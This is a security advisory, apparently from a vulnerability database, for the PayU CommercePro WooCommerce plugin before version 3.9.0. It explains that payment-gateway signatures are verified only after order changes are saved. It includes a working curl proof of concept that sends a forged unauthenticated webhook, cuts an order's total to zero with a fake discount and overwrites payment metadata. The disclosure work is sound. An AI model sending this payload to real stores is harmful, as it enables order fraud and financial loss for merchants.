PayU CommercePro < 3.9.0 – Unauthenticated Order Tampering | CVE 2026-13692

Description

The plugin does not verify the payment-gateway signature before applying order modifications, allowing unauthenticated attackers to tamper with the totals, shipping and metadata of arbitrary WooCommerce orders.

Proof of Concept

Prerequisites: WooCommerce active with the PayU CommercePro plugin; at least one order exists (e.g. order id 123). No authentication, no gateway configuration, default settings.

# Forge an unauthenticated webhook. A non-empty "key" value (any garbage) passes the initial guard;
# the discount/shipping/meta writes then execute and persist BEFORE the signature hash is checked.
curl -k -X POST "https://victim.example/wp-json/payu/v1/get-payment-success-update" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data 'key=anything&txnid=123_x&bankcode=PWNBANK&mode=PWNMODE&transaction_offer[offer_data][0][status]=SUCCESS&transaction_offer[offer_data][0][offer_title]=Pwned&transaction_offer[offer_data][0][discount]=1000000'

# Result: order 123's total is reduced to 0 by a persisted "Pwned" discount fee, and payu_bankcode /
# payu_mode are overwritten. The forged key fails the later hash comparison, so the order is not even
# marked failed - it stays pending with the tampered data committed to the database.